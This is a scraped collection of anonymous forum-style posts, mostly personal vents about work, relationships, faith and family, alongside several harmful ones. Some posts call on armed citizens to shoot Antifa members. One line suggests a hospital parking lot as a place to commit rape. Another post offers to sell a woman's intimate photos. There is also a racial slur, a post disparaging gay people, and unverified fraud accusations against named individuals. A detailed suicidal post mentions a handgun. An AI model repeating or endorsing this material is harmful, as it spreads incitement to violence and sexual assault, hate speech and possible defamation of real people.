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I'm sorry but for the salary I'm paid - I can document the issue, Work to get the facts straight, liaise with different departments, figure out the limits of my "empowerment" to solve the problems (that's a laugh), then attempt to tag in superiors when all of that fails. I can also be robotically polite since I have to do this 17 times per hour face to face, over the phone, while being in physical pain because physical distress is a regular aspect of retail work.

NO, I do NOT have the wherewithal to also be chatty and smiley on top of all of that. I don't want to talk about whether those colors match or the fact that YOU're "hot in here" or the really popular show that was on last night or you asking me personal questions. If the lack of a smile and a serious as a heart attack demeanor communicates an attitude to you - do like you tell me:

Stop being overly sensitive, Stop acting like a special snowflake Grow up, man up, put your big girl panties on Realize you're not the only one with a difficult job Adjust to the fact that the world is not fair

posted to relationships by Bobbie, Scout of the Wicked (0 comments)

I am never unhappy when a customer hangs up on me. Never have been. I have followed up if I owed a customer and answer in case it was a disconnection and not a hang up.

Funny how I realize I DO NOT KNOW THE DIFFERENCE between a hangup and a disconnection - unless the customer announces it.

Funny how EVERY customer I've ever encountered SWEARS that they do. The line disconnects and I am told or someone else is told "the agent hung up on me."

posted to relationships by Ari, Hero of Justice (0 comments)

You give yourselves permission to have human frailties - to be tired for example. But not me: I'm lazy you make mistakes - I'm a liar

When you are mistreated or criticized - the other is racist, even if a minority themselves. When you mistreat and criticize - you have righteous anger.

You don't get what you want and you deliver personal attacks - but that's ok right, Ms. Customer??? If I EVER spoke to ANYone as you do - I would be threatened with losing my job. I have NEVER had a problem keeping the conversation about the problem. Even if I go off on a tangent to make a point - I'm still describing and comparing situations.

I'm not talking about your clothes or your hair - unless that IS the situation like at a hair salon or when uniforms indicate roles.

A store manager told us there is no point in our complaining because nothing will change anyway.

As the holidays approach, I pray for all customer service associates who deal face to face with the general public.

posted to relationships by Reggie, Wizard of Evil (0 comments)

AND EVERY SINGLE ONE OF THEM HAS NO EFFECT

posted to tech by Aubrey, Writer of the Lonely (1 comment)

That's great if sex is the end goal. It doesn't rate much when sex is not the end goal. Stop talking sh** and pretending not to get that very simple, easy to understand point.

posted to relationships by Peyton, Consultant of the craft table (6 comments)

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some of it's encrypted it should be fun.

posted to tech by Brett, Sous Chef of Arts and Crafts (0 comments)

I'm not going to, but as I look at this small hand sized piece of steel and polymer, the overwhelming feeling to place a small casing, with some smokeless powder, and a copper 115 grain piece of metal, to then pull back the slide and hear the metal click into place and turn it on myself and end it is way too real. The drone of everyday life, and the overwhelming feeling of loneliness is oppressive. I know I won't kill myself today, I know that for a fact because I can still keep in mind all of the people who love me who I would be leaving behind. I couldn't do that to them. I can bare it at least for the dark moments those thoughts enter my mind for the time being. However I am afraid that one day, I won't be able to hold back the darkness that somehow lives in my mind. I have a fantastic life and people I love and a job that I enjoy and a comfortable place to live and everything I could possibly want. For whatever reason that I can't explain there is this dark, angry, sad, lonely, scared piece of me in the back of my mind that is so afraid of life, and getting hurt that it seems to think that blowing a 9mm hole in my head is a better option than trying to live. Every time I am able to talk him down, but like I said I am afraid that one day I won't be able to. I know this piece of me is trying to protect me, but I want to be able to live my life, and that just comes with ups and downs, and getting hurt, and feeling sad, and being heartbroken from time to time, I know this, the stronger part of me knows this, but that smaller part won't go away. Ive tried counseling, I have done it for more than 10 years, I've talked about this part of me to my parents and they have been understanding and supportive, and I take care of myself, I get enough sleep, and I eat regularly and do everything I can to take care of myself. I cannot seem to make this part of me leave me alone. I want it to. I need it to. I cannot keep this part of me. It's keeping me from healthy relationships.

posted to life by Harper, Ranger of the Idealistic (2 comments)

Derrick Bell is the founder of DBFXmentorship, co-founder of #ReachFX, and the administrator of Calibre Wealth, the #Forex telegram group chat I was in, where he was promoting his private mentorship.

He was previously a trainer from Royal Collective, where a number of students had been previously scammed by Adam Lord who had offered to personally teach a few Forex. Adam Lord disappeared shortly after payment. And shortly after making payment to Derrick Bell for his Forex mentorship, Derrick Bell too disappeared.

He first set deadlines he could not meet, "within the hour", would send the email "now", resulting in unnecessary anxiety and frustration, when a simple explanation that he would be away for the next couple of days would do.

Instead he reappeared days later, shortly after a Paypal dispute was created, first selfishly whining that I should have known he was jet lagged after flight. I should have known he was in Canada.

I should have known?

He was in Canada, and I should have known, because he announced it in a group chat where there were a myriad other messages, every single one of them he seemed to think I should have memorised, tracking his movement as if I wasn’t in any other channel and had nothing else to do with my life.

After which he claimed he was never informed about the dispute. A lie.

Immediately after he showed up and granted access to his videos, he was informed about the pending Paypal dispute. If he had not done so, it was only a matter of waiting for Paypal to complete their investigation on this shady character who had not been delivering.

I explained to him the lack of updates had caused me concern, that I was willing to wait patiently if he had only mentioned a delay would be expected, instead of going on 3 days without communication.

If he was willing to teach, I would be more than willing to learn, and offered to close the dispute, but because that would mean a permanent loss of that option, suggested he refund and I make a new order (so I could put up a new claim if he disappears again, since he is so entirely unreliable).

I explained 3 times from my perspective, but he refused to listen, instead he began angry insults, threatening to “destroy” me, but fortunately for me, he said, he was cool. He'll refund. Just make sure not to join his Forex company when it launches.

All the millions in the world can’t buy you character.

Edit:

After sharing my experience, Derrick Bell wrote on Facebook another series of threats if I would not take down my post, that I would regret it. I reminded him those were his words and every bit was true, but he claims he never knew about the dispute before and after he ran the risk of me copying his videos and his unprofessional behaviour was from a business standpoint.

He has since been blocked and reported.

posted to work by Harper, Merchant of the Unimaginable Terror (0 comments)

From what I hear Antifa may be planning mass actions on Nov 4th that involve mass protests more than an armed revolt. I have heard reports that elements of Antifa may be planning more violent actions including revolts. It has been uncovered they are working on acquiring AK-47s. I don't think patriots, police, or National Guard should be hasty to use excessive force against protests, and they should use non-lethal force on rioters. I do think any rioting or protests that block people from doing normal business should lead to arrests. However I think patriots should practice their shooting the rest of this month, and have guns at the ready, or know where to get guns and ammo fast. If it is necessary to fight Antifa militias from overthrowing the government, we should be ready to do that. I am fuzzy as to their plans and if that will be necessary at the moment, but if it becomes necessary, we should be prepared to do it.

posted to life by Adrian, Alchemist of Imagination (2 comments)

Oye, Alex, me he follado a tu mujer. ¿Quieres las fotos? Quizás por una tarifa. Probablemente pueda venderlos a ese tipo de Gutiérrez. También le gusta su cuerpo.

posted to society by Charlie, Funeral Director of Time (0 comments)

I am over being hurt by you. I will no longer hold my breath waiting on you to show me glimmer of attention. You asked me to be patient and wait that you would call me when you can. I am done just done with you. We have been together for over 21 years and that is enough. I will never ever be enough for you. I have always been second best. Done done done and done. I understand you are sick and are going through a hard time but I have stood by you no matter what. You always said one day we would find ourselves together. You would leave your wife and I would leave my husband but no. I am done being you second best. Trust me I am so much better than 2nd place. So I will walk away with my head held him. Good luck to you! I wish you all the best. No more hurt and no more tears.

posted to relationships by Frank, Embalmer of the Homeless (2 comments)

does it exist? what do you think about this cringy vision?

posted to relationships by Estelle, Alchemist of Justice (8 comments)

Warning everyone planning on doing business with an individual named Alex (Alexander) Shchekin, currently residing in Long Grove, IL. I have never written anything like this before but wanted to share some quick facts about this individual and issue a warning. If you don't feel like spending a few minutes reading this then here is a short version: DON'T GIVE ALEX SHCHEKIN A SINGLE PENNY AS HE IS FRAUD! Alex, aka Sasha, aka Alexander Shchekin is a professional scam artist who feasts on the poor, ignorant, and desperate people. Along with an individual named Andrew Menasce they have 2 websites: Intergam.com and ReadOz.com. He claims that he is about to go public with his company and that he no longer needs investments from anyone, but he will do you a favor and let you buy some left over shares for just a fraction of the cost. When my partner and I bought well over $25k worth of shares from him and signed the contract, he began systematically failing to deliver on any of his promises and giving an excuse, after an excuse, after an excuse as to why that happened. As I began searching more about him I realized that EVERYTHING that this guy says is complete and utter lie... Every page that you will ever find about him, like facebook, zoominfo, vc, twitter, etc that supposedly have his name, or his company ReadOz mentioned in them, are all made by Alex Shchekin himself in a very poor attempt to try and make himself look bigger than he actually is… He is currently being sued by at least 4 different parties for the same exact company (ReadOz) that he claims is about to go public. He claims his other company called Intergam makes $45 mil./year, yet his website is not even finished, it was forcefully shut down by the government twice for a failure to pay the annual corporate filing fee, he has no customer service, his address is a PO box, and when you call the Contact # it goes straight to a voicemail. I found out that his ReadOz company that he claims is just about to go public has been "just about to go public" since 2007, which is when he took well over $100k from a group of investors and most likely used it for his personal agendas. His home in Long Grove is currently getting repossessed by the bank. He sells shares fraudulently to unaccredited shareholders, clearly violating the law. He will tell you great stories of how much he has accomplished in life, and how he knows many celebrities and government officials, and what a generous person he has been to everyone, and that everyone just tried to screw him over, but those are all lies, as he simply manipulates people. He will even go as far as tell you "secrets" about his personal life just to get you to trust him more.

What Alex Shchekin does is this: he takes your $, makes many excuses each and every time asking him why he hasn't delivered on his many promises, and waits for the time to expire for you to be able to sue him, all while living on the $ that you supposedly "invested" in him. In fact, if you try to sue him, he will simply use the same $ you gave him, or another person like you, to defend himself in court.

posted to life by Adrian, Embalmer of Time (0 comments)

I keep on finding love in the wrong place. Sleazy place (by definition). But a high class one though. Why don't models (amateur models) go to church? I know the ladies in the church have their beauty inside. But see, that's the thing, I am shallow.

posted to religion by Ash, Accountant of the Poor (3 comments)

I am a Christian with a hard cock. Well not 24/7, are you kidding, that would be a medical emergency, but shall we say often enough. I am single. I do not feel that it is a sin. I am not joking, some may find this post funny, which I do myself, but underneath it all, this post is not intended to be a joke. I am not some liberal Christian either. I do believe the bible is the inspired Word of God. (Granted some translations are better than others, in fact some translations in a few verses actually do teach errors, that is beyond the scope of this post). Bible translations can teach errors if the translators try to hard to interpret what they THINK a verse should say rather than faithfully rendering what it says in the original Greek, Hebrew, Aramaic, etc... The bible is intended to be interpreted by CONTEXT. We need to realize that even chapters and verses were added in translations and did not exist in the original manuscripts or even copies in the original languages. Regarding having a hard cock and using it accordingly, first of all many may bring up Matt 5:27-28 to say that it is a sin. Well in Greek the word for woman is "gune", and gune can mean wife or woman in Greek, WHICH it is talking about depends on the CONTEXT the word is used in the sentence or passage. Since Matt 5:27 regards adultery, and adultery in the bible means taking (or in Hebrew ENTERING) another man's wife, Matt 5:27 regards lusting after a married (or possibly betrothed) woman ONLY, and not ANY woman. Also lust in Greek can mean an extreme or strong desire, so finding another man's wife attractive is not a sin. It is wise to guard your heart, but neither be paranoid and beat yourself up if you find a married woman attractive. I would put the sin described in Matt 5:27 as a STRONG desire to take a married woman. Also on fornication, even though the dictionary says it means unmarried sex, by CONTEXT the bible says no such thing. The Old Testament is full of biblical heroes having concubines (meaning like lovers or girlfriends). Nowhere is it called a sin. Fornication by how it is used in the bible means any of the list of sexual sins in the Old Testament, and especially temple prostitution. To thicken the plot here when people went to visit temple prostitutes there was often a belief one was having sex with the god or goddess through the prostitute as a proxy. Since the false gods and goddesses are really either demons or fallen angels, one can REALLY understand why God is unhappy with this practice. So my hard cock aimed at single women either in my thoughts or in person, or some situation in between, is not a sin. Chuckle at this post, but consider that my interpretation of the bible might be right. By the way, I have read a few verses out of certain bible translations that are NOT accurate. These translations are pieces of rubbish and offend God. The translators and publishers need to repent. One translation says "as above, so below" instead of "your will be done on earth as in heaven". "As above, so below", is a saying of occultists and really means "as above in the second heaven, where demonic forces and fallen angels float around, so below on earth". So this saying is an abomination and does not belong in any bible. But since many churches are in apostasy, it fits. Apostate Christians need to repent on bended knees so that God can use them for real and they stop playing church.

posted to religion by Jerry, Servant of the Homeless (8 comments)

At least its a step up from feeling suicidal, I guess. I just want to run away from this life. From a job that means nothing to me. From a wife who I'm not sure if I love any more. From a life that just feels so small. All I can think about is disappearing - taking a bag of gear and some money, and just walking away. But once I get tired of walking, what then?

posted to life by Rook, Pirate of the craft table (7 comments)

I am a straight white man in my upper 30's. Reynolds entry something happened that really made me think about labels that are accepted by the people which make up said group.

I have a "Gay" family member, and I 100% accept his choice on the matter. I truly believe that people should love who they wish to love and that should not be something that has a bearing on anything in world. It should be based exclusively on one's abilities l not who they fuck.

Recently with all of this "Trump" contraversy he has been posting crazy, hateful and angry posts about trump and in general. It causes a bit of a tiff between us as we have been very close since children. We have since made up but the episode has caused me to put a lot of thought into the subject.

I though about how one of the first things trump did was take down the LGBT pages off the government website. Many people straight or not were unhappy.

Here is the thing the gets me. Let's start with the word "gay". Gay was a word used by people who were ignorant and fearful of something different to describe a person who has homosexual sex in a derogatory way. So the word at its very core is derogatory and bad. Yet it is something that people who choose to have homosexual sex cling onto it and wave it in the air like a badge of honor.

I keep saying, "homosexual sex", and you may wonder why which brings us to the word "homosexual" Homosexual literally translates as "same sex". So if you call someone a "homosexual" you are calling them a "sane sex" which makes no sex, but in a similar fashion to those who would use the term "gay", the word homosexual has been adopted by fearful ignorant and closed minded people to label someone who has homosexual sex in yet again, derogatory way. And as such is a bad thing. Yet it is another word that the "gay community" or as I would rather prefer to say, "people who enjoy homosexual sex", seems to hang onto like it's something to be proud about.

As a matter of fact bisexuals is a term that is completely used incorrectly. Litterally translated it means "two sex". How does that make any sense? Maybe if you are attempting to describe a hamaphridite, or sex with 2 people of different sexes??? But it surly does not make sense for how it is used. And that is surly because it was coined by ignorant fearful people of lesser intelligence. It is derogatory and bad.

Lesbian is also a term to describe a woman or we on who like homosexual sex. Or.... "same sex, sex".

Why would a group of people with a similar belief choose to adopt such awful derogatory labels? It makes no sense. And not to defend Trump because it has nothing to do with him but why would you want pages littered with derogatory labels all over it that reference the sexual choices the page attempts to describe in such a derogatory way???

It is my belief that all of those labels should not be used nor should they be embraced. As I have said before, sexual preferacne should not be a determining factor in anything. It shod be left to the abilities or the person in question, and not who they fuck.

Think about it, accepting the label of "being gay" would be like a black person accepting and embracing the label of "house nigger". I must make it clear that that last sentence was awful and the word nigger is one of the most disgusting words ever, which reinforces my point, because the fomenting and discussEd labels are just as disgusting.

Let's all just be people, and let people be with who they wish because it's fuck in stupid to care who fuck who.. I mean seriously.

posted to society by Stevie, Deviant of the Forgotten Lands (2 comments)

If Antifa starts an armed revolt in large numbers the police by themselves may not have the numbers to stop them. If the police are not enough, or they are ordered to stand down, then I would advocate for the National Guard to help out, and if necessary, armed patriots as a backup, and even just to defend themselves. Defending yourself against an armed Antifa revolt is a good way to thin their numbers at least. If the police are overwhelmed it would be good for them call for help from the National Guard rather than risk being wiped out or just being overrun by Antifa members. I had long thought I would fight Neo-Nazis with guns IF they revolted in large numbers or took over our country. They just don't have enough numbers to be a serious threat in that sense in spite of their desires. Concerning Antifa, even if they don't have enough to take control of the US, they are a bigger threat. If they only peacefully protest or even only riot and it is contained, I will personally just support efforts to contain them. If they break out in a mass armed revolt, and come near where I am at, then they are in seriously trouble from me personally, and that means me handling firearms if necessary.

posted to life by Lisa, Breeder of the Idealistic (0 comments)

Anonymous fights for freedom, Antifa fights to subjugate people in a communist dictatorship. Anonymous fights for national sovereignty and against a the New World Order, Antifa wants to abolish nation states in favor of world government. Anonymous favors peaceful protests, Antifa uses violence. The ideals of Anonymous and Antifa are polar opposites. Any Antifa members claiming to be part of Anonymous are fake Anonymous and are not welcome as long as they hold to the ideals of Antifa. Anonymous opposes real racism, real Nazism, and REAL fascism. Antifa opposes the fake versions of these. Antifa may have a lot of members, but Anonymous is legion. If Antifa is stupid enough to try an armed revolt many members of Anonymous will protest imminent danger with more aggressive forms of protest (that is at the point of a gun or knife). Antifa is a fake revolution unto slavery if they succeed. Anonymous represents the true revolution to protect our freedoms. People who stand up for the ideals of freedom are Anonymous. By that definition Donald Trump is Anonymous.

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posted to life by Max, Investigator of the Lonely (0 comments)

To Antifa, ALL Americans that believe that the US should be a sovereign nation, a believe in a free market economy, and even using free speech to say things they don't agree with, is Nazism and Racism. When they say they are anti-racist and anti-Nazi their being against (rightly) White Supremacist Nazi groups is just a SMALL part of what they are talking about, they are talking about all normal Americans. I saw a video where they were chanting "no more USA" at a protest. I would advovate that all Antifa members that commit crimes with rioting be thrown in jail, and GOD help them if they attempt an armed revolt, GOD HELP them, because if they attempt an armed revolt many of them will pass from this life into the next VERY FAST...as fast as people defending the US can fire gun, and even truly fully automatic guns too. I am not sure they would deploy the gatling minigun in cities because of collateral damage, but if they caught revolutionary armies in open areas then they might use those kinds of guns. The gatling minigun has a wicked fast rate of fire with accuracy. If Antifa WANTED to be godly they would be protesting the globalist Illumanati powers that want to take away our nation. What they fail to realize is that electing Donald Trump is the spearhead of the TRUE REVOLUTION against the globalists and a major victory in the revolution that I AM PROUD to be a part of. I don't need to cover myself with a hood or hat and mask.

posted to life by Rook, Attendant of Time (3 comments)

I kissed my ex tonight to see what feelings I would get. I got a lot but it wasn’t the same as what it used to be but I know it’s cause we’re not actually dating and I have other shit in my head. But he has a girl he’s hooked to. I tested him tonight but he doesn’t know I did. This anonymous person who has been texting me I swear is his girlfriend and he doesn’t believe me. So they emailed me saying how they got a wedding Saturday and how she’s gonna rock his world blah blah blah so I gave him an offer for this weekend and made it so it has to be Saturday night and shocker he has a wedding with her. Like I don’t know what to do because I don’t want him to get hurt but he doesn’t believe me and I’m just so exhausted and dying inside. I want to fight and save him from something he might regret but I give up and I told him that. I don’t know what else to do, I’ve tried everything. I’m causing him more stress I think than anything so I told him I’m gone. And that I won’t tell him about anymore anonymous messages I get. I just can’t do it anymore. I quit.

posted to relationships by Charlie, Elementalist of the Wildlands (2 comments)

Когда ты это понимаешь, может быть, ты можешь рассказать мне, как ты, блядь, в переполненном поле, какой-то ореховый чехол стреляет в тебя автоматом, а ты стоишь там, озираясь! Вы, где предупреждали: «Тайна TTIP бросает тень на будущее европейской демократии. Под этим прикрытием особые интересы бегут, как мы видели, с недавней финансовой осадой против народа Соединенных Штатов. НАТО влияет на жизнь каждого американца и привлекает Соединенные Штаты к долгосрочному конфликту с Россией. Время для его секретности сейчас заканчивается ». !!! Конечно, вы, тупая задница, будете стоять там и смотреть на них, пока они стреляют в вас.

posted to society by Lisa, Travel Agent of the Financial Services department (2 comments)

I have a good job, a nice car and my own place. I am Intelligent, thoughtful, caring, compassionate, honest, trustworthy and funny.

Despite having all of the qualities that women should be looking for I am finding it hard to find anyone that can have romantic feelings for me. I am successful at finding dates and getting all the way to home base but when it comes to really having a committed relationship I seem to be the guy that women just want to have fun with. I am not the guy they want to settle for.

I just spent about three months courting a woman who loved everything about me. We spent nights together, went on fun trips, cooked together, cuddled, kissed and everything in between. She even bragged to her co workers and friends about how great I am to her. About a week ago she bluntly told me that she knows in her heart that it could never be a long term thing with me even though she is very happy. She just can't feel romantic feelings towards me. She said that she really wanted it to happen but it wasn't and she does not want to waste either of our time.

So what gives? Does anyone here have any insight as to why it might be so difficult?

posted to relationships by Adrian, Paladin of Darkness (5 comments)

Don't threaten North Korea in any way. Instead let them trade openly with the world. Let them sell goods and services on the open market. Show them the power of capitalism so that they can feed their people and grow as a nation. When this happens they will not need Nukes. It's true that they do not have a Central Bank and their people are totally free from a debt based monetary system unlike every other country in the world except for Iran which the world hates as well per the media. Never mind, let's attack them and kill as many as we can and set up a central bank for those that are left. They need to pay the beast like the rest of us!!!!!!

posted to society by Harper, Accountant of Good (2 comments)

I Lost Him Forever

confession

So I used to post on here all the time and haven’t in a while and want to get back to it because I’m in a dark place right now and I’m hoping writing this all out will help. I’m a 27 year old female and my life is in shambles right now. I have a one year old son who is my life and his father who I am madly and deeply in love with but who lost feelings for me. Let me start from the beginning. I met him when I was 24 and it was seriously love at first sight. He was an amazing man and still is to this day. We had an amazing relationship. We had our ups and downs but it was one of those relationships where you thought it would last forever. Like I was going to be his last kiss, it felt amazing. Then I found out I was pregnant and our lives changed. Was accidental and I was never suppose to be able to have kids so a big shock. But he stood up to the plate better than anyone could have. He was going to be an amazing dad. He was so supportive through the whole pregnancy and helped me with everything and got me anything I needed. Our son was born in May 2016 and it was amazing. But then it went down hill. After having my son I completely shut down and blocked him out of my life. When I was 14 I had a very bad relationship that lasted over a year and the guy was abusive mentally and physically. But I was young and would forgive him every time something happened thinking it would be better now, it never got better. It got to the point where rape was a more than one time occurrence, it was horrible. I ended it finally and never faced what really happened to me. Just kept it locked up for years. My ex knew about it and tried helping me and getting me to go get help but I always just said I was fine. Then when I had my son it all came back. I had a son now, what if he treats a girl that way someday? What would I do? Why would he do that? All those thoughts went through my head and I couldn’t stay stable. I shut down and shut him out and it was the biggest mistake I ever made. We broke up February 2017. It was all my fault. I realized that to late though. In July 2017 I realized I was going to fight for him back but I wanted to become what he deserved, which meant I needed to fix myself and face my past. I started group therapy and it did amazing things for me, helped me move on and overall be happier with my life. Me and my friend even went up to Bemidji, MN in August because that’s where my ex’s reservation was. He’s native American, Ojibwe tribe. We visited the White Earth Indian Reservation and it was amazing to see, really opened up my eyes as to how they live. We got a tour of the town and the history on it and it was an amazing day. While we were there, there happened to be a huge bon fire that night and a pow wow and talk about amazing, to know my sons dad has those origins is amazing. There was a little native boy who came up to me and Ill never forget it. His name was Anong, which means star, and he was the cutest! He was 4 years old and he was tugging on my shirt to go dance with them and I broke down and did and it was so much fun, I looked like a retard I’m sure but it was so much fun and that little boy stole my heart. Made me realize id love to adopt someday to have a sibling for my son. We got back from that and my mind was just racing. That’s when I started writing a letter to my ex that I had planned on giving to him when I was ready. I also started saving pictures of our best memories. When I started therapy though, about a week after I started getting these text from unknown numbers and every time id block them they would come back with a new one. They wanted me to stay away from my ex, and they were determined. Told me eventually that he was seeing someone but I figured they were lying. So about a week ago I poured my heart out to my ex and low and behold he has a gf I felt so pathetic and stupid. Anyway I still gave him the letter because he wanted to read it but I took out the page about my trip to his res because I felt so stupid that I did that and didn’t want him to know. Then he started getting the texts from this anonymous person also and I had my friend look into it. He figured out it was a burner phone but found names linked to the account and the locations of where it was at. All places where my ex’s new gf would go. I broke down but he convinced me it wasn’t her and I believed him. I knew at this point I was never getting him back anyway. But then I got emails describing things only one of those two would know and I know he wouldn’t tell me that stuff. Then I started getting pictures of them together and I just broke in half. He’s so happy with her but I don’t trust her, she hates me and says she will be a better mom to my son then I am and that’s not ok. I know I’m broke right now and not in a good place but was it true? Could she really be a better mom to him? Will he not love me anymore? All these thoughts just destroy me. And I cant tell him because she has some blackmail on me that would get me in trouble with the cops and I cant deal with that. And I know if I told him he would blow up on her and he would know the break up was cause of me and shed rat me out. Now if I knew he would just tell her he had a change of heart and broke up with her that way where I wouldn’t be brought up at all then I would tell him. But I know him to good. So here I am, have barely ate the last 7 days and cant sleep and even started smoking again. Just a mess and there’s nothing I can do because he made it very clear that he wants no relationship with me ever and I completely understand why. And it kills me. Well never be able to tuck our son into bed at night together, or go on walks together holding hands, or lay in bed talking all night till the morning hours. Or the trip I had planned to go back to Bemidji this winter or next spring. All of that is lost now and ill never get it back. How do you move on from such a heartbreak when it was your own fucking fault?

posted to relationships by Samantha, Herald of Musclebeasts (2 comments)

I was talking to my ex tonight and we had a really good deep conversation, made me think he was getting feelings back. Was 100% sure that’s what he was going to tell me. Well I was totally wrong. He still is in love with his maniac and he just wanted to share those memories and thoughts with me just cause.....I know he doesn’t mean to hurt me but fuck I’m dying. Keep hoping one of these days I’ll get my second chance but I’ve officially decided she’s won. I give up. She got what she wanted, he is over me and all hers. And I’ll stay away. Thankfully my mom is dropping our son off to him tonight so that I can go visit a grave that I need to go see and drink a beer. I’ll have to pick him up but I’m sure it’ll be a quick 2 second exchange and I’ll get out of there. I can tell he’s stressed and I so bad wanna say just leave her but I can cause of stuff and the fact he’ll think it’s just cause I want him back. Which I do but I wouldn’t even try anymore after this. I’m tired and exhausted and just completely drained. I don’t care if I keep hearing from her. I told her how much I loved him and how I’d take care of him and just gave them a good laugh. I give up. She can have him, just wish he knew he deserved so much better. He deserves true happiness and he also deserves goosebumps which neither of us will ever get. Guess I midaswell try to sleep so I can keep having my ten minute dreams about him 😭

posted to relationships by Stevie, Archaeologist of Good (1 comment)

Why did the Son of God suffer and die so horribly? Because He paid for our sins. He never sinned. We all have sinned. It was for our sins that Jesus died. Receive Him as Lord and Savior. Turn away from sin. Follow Him, as He leads you and know God's peace and forgiveness- that one can only know through faith in Christ, and what He accomplished for us. God Bless

posted to religion by Brett, Shaman of Light (44 comments)

I heard that Antifa may be planning an armed revolt late Oct to early November. I heard that they plan to first attack police stations to neutralize local police. If that actually succeeds, and they don't get themselves shot or arrested in the attempt, then they will still have to get through the National Guard, armed Patriot groups, and regular citizens with guns and conceal carry, and in an extreme emergency the US Army with Posse Comitatus temporarily suspended. My advice is to make the protests in early Nov peaceful, and even with no rioting. I know with Antifa that is asking a lot. If an armed revolt is attempted then more Antifa blood will be unnecessarily spilled. Trump is not going anywhere. Antifa wants a full blown Bolshevik revolution it seems. Funny how Putin seems to be a greater American Patriot than many Americans. My advice to Antifa is they will save many of their own lives by not going through with any plans for an armed revolt.

posted to life by Stevie, Bard of Generosity (5 comments)

Im so frustrated with many things right now. For the most part, its been sexual frustration. I love my husband so much. He is the best husband.any wife could want. Hes not perfect by all means, but I have a winner. I feel so frustrated and guilty all the time because I lust after other men. I am constantly fantasizing about having sex, long hard, passionate, raunchy sex. I love sex with my husband. But he doesnt seem as interested. And whenever I suggest foreplay or try new things to spice things up (wwe just got over the first year of second baby born) he looks at me like im weird and says ive changed. I feel rejected. Ive struggled with my confidence and body image this past year. I want to feel sexy again. I know im very beautiful, curvy and sexy to alot of people, but you look at yourself different when you dont FEEL it. I make an effort and he doesnt get it. We have a friend, who in fact married us 7 years ago, that I am completely attracted to. I think about him all the time. I know he has been attracted to me since we met. We have always been friends. Both of our families hang out. I domt want to have an affair. Sometimes I think it would never happen to me. I dont go out of my way to meet anyone. But then I think the longer I indulge in these fantasies and lust, its only a matter of time before I cave in if the opprotunity presents itself. I hate feeling like this. I am a christian who believes in marriage and faithfulness. Id never thought Id struggle like this. I love my husband. I love my family. I love our friendships that we have with the "other guy" and his wife. Id never want to tempt him or ruin his family or mine. Does anyone ever feel like this? I feel so alone. I pray but sometimes I feel like its useless. How do you overcome something like this? Ive never been with anyone except my husband. I asked if he would be ok with me using toys and he said no. But at this point I think Im going to get one and not tell him because I feel its the only way to keep me faithful in weak moments. Between this and all the trials and problems we have had in 2014, Im officially going crazy!

posted to relationships by Stevie, Monk of the Lonely (20 comments)

It's been over ages ago, but why is it some people aren't over that situation, it's not like much happened. 'Do you guys still talk?' No we don't really talk, I don't have a problem with it but like friends I'll talk with him if there's something to talk about but when he's so stuck on his phone I don't really think there's much of a chance to talk. 'I just find it weird.' 'You should talk to him.' .... WE'RE OVER WHATS SO WEIRD WITH NOT TALKING AND MORE LIKE SHOULDN'T YOU TELL HIM THAT... He's closed himself up that was his choice I already approached him before, saying he can always talk to me when he needs someone or we're friends now so it's okay to talk to me casually. I've had enough of always making the first approach, it's his turn now. If he wants to talk then I'll talk. But if he's really closing himself up... then that's just him.. and exactly one of the reasons why I had to break up with him...

posted to relationships by Max, Embalmer of the Forgotten Lands (2 comments)

Best place to rape hospital parking lot get a van and a gun easy pickings

posted to life by Frankie, CTO of Space (1 comment)

My biracial 30 year old son married a 34 year old Italian-American woman two years ago. My son was always a fun, kind, and loving guy until he married her. Everyone has noticed the change and we are surprised he married someone like her. Anyway I went along with their marriage even though I thought she was controlling, passive-aggressive and narcissistic. They married and two years later they had a baby girl, my 1st grandchild. My Irish- American husband & I are divorced after married for 25 years. We are friends and we're exited to become grandparents. Unfortunately my D-I-L ruined our excitement because she is so controlling. My son says nothing but blames me for his wife's rudeness. A t the wedding his wife did not speak or thank any of my family & friends that are Black. Her family lacks proper etiquette around certain things. The baby is one and my mother has not met her great grandchild yet or spoken to my son's wife. She is not shy but she isn't interested in including my family, the Black people in their lives. I am the only one that lives a drive able distance from them so I would visit every other month. It was strained because she would make excuses for me not to hold the baby. She did this for my ex too. All their vacations are with her family. All holidays are with her family. I have pleaded with them to travel and see other family members but they make up an excuse. My son seems to be a robot and does everything even though they both work full time. He cooks, walks the dog, shops, deals with the baby and is a personal trainer & coach after his 9-5 job. I am afraid he is under so much stress because all she does is bark orders! On the baby's 1st birthday party, we were 90 minutes late due to snow showers & traffid. We apologized but we still got coldNess from my D-I-L and every time we picked up the baby, she took her with lies of changing her diaper or feeding her. It was hurtful to be treated so meanly even when I apologized again. After the party we all went back to their house and we were giving the baby a bath without the wife's interference. When my 26 year old daughter took baby to changing table to lotion her & dress her, my D-I-L came in and wanted to take over. How shameful when my daughter had to fly there and was leaving the next day. How shameful that she could spent some time with her niece. My daughter pleaded and was told No. I asked nicely for my daughter and my D-I-L called me a fucking bitch! Out of nowhere. We were shocked but I was angry! I am a 64 year old Black woman and I have never encountered such rudeness! I asked her WTF are you talking to? She lied and said I was fucking crazy! My son runs upstairs and tells me to get my fucking shit and get the fuck out of his house! My daughter & I are shocked and thinking my son was drugged since he never spoke like this. We told him what his wife said and that she stated it. He didn't care. He tried to push & pull me down the stairs. It was a crazy situation that I have never been in. Eventually my son called the cops and we were forced to go to a hotel at 10 pm that night. On the way out he yelled that I would never see my granddaughter again! They blocked me on facebook. They won't take my calls or text messages or e-mails. He did respond to the first few messages and they were full ed with hate. My family is shocked since I was a good Mom .This whole incident sent me to intensive outpatient therapy for 3 months They did not call on my birthday or Mother's Day. It is so hurtful especially because his wife was rude and I am punished. Why? I don't know. My family feels they want nothing to do with the Black folks but they also are rude to my ex husband who is White. Now after so much therapy I am not crying but I want an apology from both of them. I don't want anything to do with them my son seems to have lost his mind. He is a football coach and I plan to go to a couple of his games. He told me he would walk away from me but I just want to watch the game. I will not speak to his wife ever again. What loving wife would stand by or encourage her husband to treat his mother so harshly? Any advice would be helpful.

posted to life by Taylor, Maiden of Musclebeasts (6 comments)

Boycott Spain

advice

The Spanish government has over stepped the line. This is a call to all lovers of democracy. If you love freedom, and the pursuit of happiness then join us in the boycott of a fascist regime. The Spanish government MUST be sanctioned by the good people of this planet. Beating innocent voters to suppress change is unacceptable. Stand up for what's right and boycott the Spanish government. Together we can show these tyrannical elitists what the common people can do. This is the charge of all free peoples of the world. If we don't not stand together we WILL fall United. I urge you, the reader to do your own research and then search your heart for what is right. This oppression can NOT be allowed to stand.

posted to society by Ash, Sommelier of Generosity (1 comment)

